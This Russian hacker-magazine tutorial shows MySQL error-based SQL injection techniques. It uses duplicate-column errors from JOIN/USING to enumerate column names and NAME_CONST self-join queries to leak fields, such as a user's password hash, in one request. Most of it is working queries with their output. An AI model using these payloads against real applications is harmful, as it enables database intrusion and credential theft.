Не прошло и трех дней после сдачи моей
прошлой статьи, как в
голове родилась совершенно новая и куда более эффективная методика работы с
Blind SQL Injection. Если ты помнишь, я рассказывал о том, как существенно
уменьшить количество запросов к серверу при работе с уязвимостями такого рода.
Сегодня я покажу поистине революционные приемы инъектирования. А ты внимательно
слушай и конспектируй.

 

Разбираемся с именами столбцов

Начались мои исследования с попытки решить вторую основную
проблему тех, кто работает с инъекциями в MySQL. Она заключается в невозможности
получить имена таблиц и столбцов в MySQL 4-й ветки, не прибегая к полному
перебору.

Насколько нам всем известно, в этой ветке начисто отсутствует
системная таблица INFORMATION_SCHEMA.tables, и данные о таблицах, хранящихся в
базе данных, нигде в виде, доступном для чтения, не содержатся. Эта особенность
доставляет массу неудобств. Изначально задумка состояла в том, чтобы попытаться
найти такую ошибку выполнения SQL-запроса, в которой выводится какая-нибудь
информация о текущей таблице. Немного пошерстив документацию, обнаруживаем
ошибку:

Error: 1060 SQLSTATE: 42S21 (ER_DUP_FIELDNAME)

Message: Duplicate column name '%s'

Забиваем текст в поисковик и видим: эту ошибку можно получить,
если задать уже существующее имя колонки в оператор ALTER TABLE, или если
неправильно воспользоваться оператором JOIN. Вариант с ALTER TABLE не подходит,
так как его невозможно использовать в SELECT-запросе. Попробуем вариант с JOIN.

Для начала выясним, когда именно эта ошибка возникает в
SELECT-запросе. Посмотрев документацию, выясняем, что эта ошибка возникает
тогда, когда ты при помощи оператора SELECT пытаешься получить имя какой-нибудь
колонки (к примеру, id) и тут оказывается, что колонок с именем id несколько.
Оператор SELECT теряется и выплевывает ошибку. Мол, колонок с именем ‘id’
несколько, и он не знает, какая именно тебе нужна.

Теперь вспомним о том, что оператор JOIN используется для
связывания двух таблиц между собой. Запускаем запрос с использованием JOIN:

mysql> select * from users join news;
+----+------+-----------+----------+----+-------+------------+
| id | name | passwd    | is_admin | id | title | date      
|
+----+------+-----------+----------+----+-------+------------+
| 1  | Ivan | password1 | 1       
| 1  | test1 | 22-12-2009 |
+----+------+-----------+----------+----+-------+------------+
1 row in set (0.00 sec)

И видим, что он вернул нам содержимое таблиц `users` и `news` в
виде одной таблицы, причем имена колонок в таблицах остались прежними. То есть,
у нас в выводимом результате – две колонки с именем ‘id’. Попробуем получить
значение поля ‘id’ из таблицы, составленной выше. Не забываем о том, что для
сложных запросов MySQL требует указания алиасов для каждой таблицы, участвующей
в запросе.

mysql> select * from (select * from users as a join news
as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'

Отлично! Получили то, что хотели, осталось подумать, как при
помощи подобного запроса получить имена всех столбцов, к примеру, таблицы `users`.
Джойним ее саму с собой:

mysql> select * from (select * from users as a join users
as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'

На выходе получаем имя первого столбца таблицы. Думаем, как
получить остальные. Снова смотрим в документацию и находим оператор USING,
который используется для указания списка столбцов, которые присутствуют в обеих
таблицах:

USING (column_list) служит для указания списка столбцов, которые
должны существовать в обеих таблицах. Такое выражение USING, как:

A LEFT JOIN B USING (C1,C2,C3,...)

семантически идентично выражению ON, например:

A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,...

То есть, объединив таблицы `news` и `users` и используя оператор
USING() с параметром ‘id’, мы получим результирующую таблицу, в которой столбец
с именем ‘id’ будет присутствовать только один раз. Пробуем:

mysql> select * from users a join news b USING(id);
+----+------+-----------+----------+-------+------------+
| id | name | passwd    | is_admin | title | date      
|
+----+------+-----------+----------+-------+------------+
| 1  | Ivan | password1 | 1        |
test1 | 22-12-2009 |
+----+------+-----------+----------+-------+------------+
1 row in set (0.00 sec)

Действительно, видим только один столбец с именем ‘id’, а значит
и попытка получить столбец с именем ‘id’ из этой таблицы никакой ошибки не
спровоцирует.

Применим этот оператор для получения имен остальных полей из
таблицы `users`, с учетом того, что имя ‘id’ мы уже знаем:

mysql> select * from (select * from users a join users b
using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'

Ага, узнали еще одно имя столбца — ‘name’, пробуем дальше:

mysql> select * from (select * from users a join users b
using(id, name))c;
ERROR 1060 (42S21): Duplicate column name 'passwd'

Узнаем имя третьего столбца. И так, один за другим, выявляем
имена столбцов в этой таблице. В конце, когда выясним все имена, ошибки не
будет, и запрос выполнится успешно.

mysql> select * from (select * from users a join users b
using(id, name, passwd, is_admin))c;
+----+------+-----------+----------+
| id | name | passwd    | is_admin |
+----+------+-----------+----------+
| 1  | Ivan | password1 | 1        |
+----+------+-----------+----------+
1 row in set (0.00 sec)

Делаем вывод, что в таблице `users` присутствуют столбцы ‘id’, ‘name’,
‘passwd’, ‘is_admin’. Вроде бы все хорошо, но… метод не срабатывает на MySQL
4-й версии. Выясняется, что в четвертой версии при таком запросе возникает
совершенно другая ошибка. Следовательно, все описанное выше может
использоваться, только если по каким-либо причинам мы не можем воспользоваться
таблицей INFORMATION_SCHEMA.tables в пятой или шестой версиях MySQL.

 

Взгляд под другим углом

Возможность получать имена столбцов без использования
INFORMATION_SCHEMA – это, конечно, возможность полезная, но такая необходимость
возникает довольно редко.

Разве что в слепых SQL-инъекциях, с возможностью вывода ошибки,
где стандартный процесс получения значений занимает достаточно много времени. А
тут пара запросов и все нужные значения получены. Хотелось бы выжать из этой
ошибки большее…

Недавно мне в аську постучался jokester (Джок, большой тебе
привет!) и предложил следующую идею: "А почему бы не попробовать выводить
значение какого-либо поля из базы данных в тексте ошибки целиком, не прибегая к
классическому использованию more 1 row?". "Идея отличная", — согласился я.

Он начал исследовать варианты составления запросов с
использованием ORDER BY, которые при неправильном значении сортируемого поля
выводят ошибку:

mysql> select * from users order by lala;
ERROR 1054 (42S22): Unknown column 'lala' in 'order clause'

Я же вспомнил о методе вывода имен колонок с использованием JOIN.
Через некоторое время мы оба пришли к тому, что нужно найти какой-нибудь способ
заставить базу данных воспринимать значение поля как имя колонки. Это
обуславливается тем, что запросы, которые ругаются на неправильное имя колонки,
есть, а запросов, которые ругаются на неправильные данные в таблице и при этом
их выводят, — нет.

Отлично, задача поставлена, зарываемся в документацию. Находим
интересную функцию в разделе "Miscellaneous Functions", с пометкой "for internal
use only". Функция называется NAME_CONST(). Используется так: NAME_CONST(name,value).
Результатом работы станет значение ‘value’ в столбце с именем ‘name’:

mysql> select name_const('Test', 111);
+------+
| Test |
+------+
| 111  |
+------+
1 row in set (0.00 sec)

Как раз то, что нужно! Проверим, возможно ли вместо значения ‘value’
выполнить какой-нибудь запрос. Достанем, к примеру, поле ‘passhash’ из таблицы ‘users’:

mysql> select name_const((select passhash from users where
id=1), 111);
+----------------------------------+
| f8d80def69dc3ee86c5381219e4c5c80 |
+----------------------------------+
| 111                             
|
+----------------------------------+
1 row in set (0.00 sec)1 row in set (0.03 sec)

Отлично, все сработало, как надо — в имени столбца мы видим
строку ‘f8d80def69dc3ee86c5381219e4c5c80’, которая является паролем первого
пользователя из таблицы ‘users’.

А теперь используем этот запрос в методе получения имен полей,
без использования INFORMATION_SCHEMA. Аккуратненько составляем запрос, подставив
вызов функции NAME_CONST вместо имени таблицы, в которой узнаем имена столбцов.
Не забываем добавлять алиасы к каждой используемой таблице, и стараемся не
запутаться в скобочках. Запускаем:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT
passwd FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT passwd FROM
users LIMIT 1),1)k)e)r;

ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'

Вот мы и добились, чего хотели. Теперь мы знаем, как достать из
базы данных любое поле за один запрос! Попробуем вытащить больше чем одно поле
при помощи функции CONCAT(), назначение которой объединять две и более строк.
Например:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT
concat(name,0x3a,passwd) FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT
concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r;
ERROR 1060 (42S21): Duplicate column name
'admin:f8d80def69dc3ee86c5381219e4c5c80'

Так мы и получили два поля за один запрос. К сожалению,
бесконечно увеличивать количество выводимых полей невозможно, так как вывести
более 64 символов не получится. Но эта проблема решаема, если использовать
функцию SUBSTRING(), описание к которой ты без проблем найдешь в официальной
документации.

 

Заключение

Далеко не все методики работы с уязвимостями исследованы до
конца, вариантов упростить свою работу еще бесчисленное множество. Поэтому я бы
хотел посоветовать всем хакерам иногда отвлекаться от тривиального взлома и
уделять часть своего времени новым исследованиям. Ведь хакер это, в первую
очередь, исследователь, не так ли?

 

WARNING

Внимание! Информация представлена исключительно с целью
ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

 

INFO

Эти методы можно использовать и в обычных инъекциях. При их
использовании не придется подбирать количество колонок в запросе.

Оставить мнение

Check Also

Линукс-сервер по цене бизнес-ланча. Учимся разрабатывать под одноплатный компьютер Omega 2

В жизни каждого мейкера наступает момент, когда обычных микроконтроллеров уже не хватает, …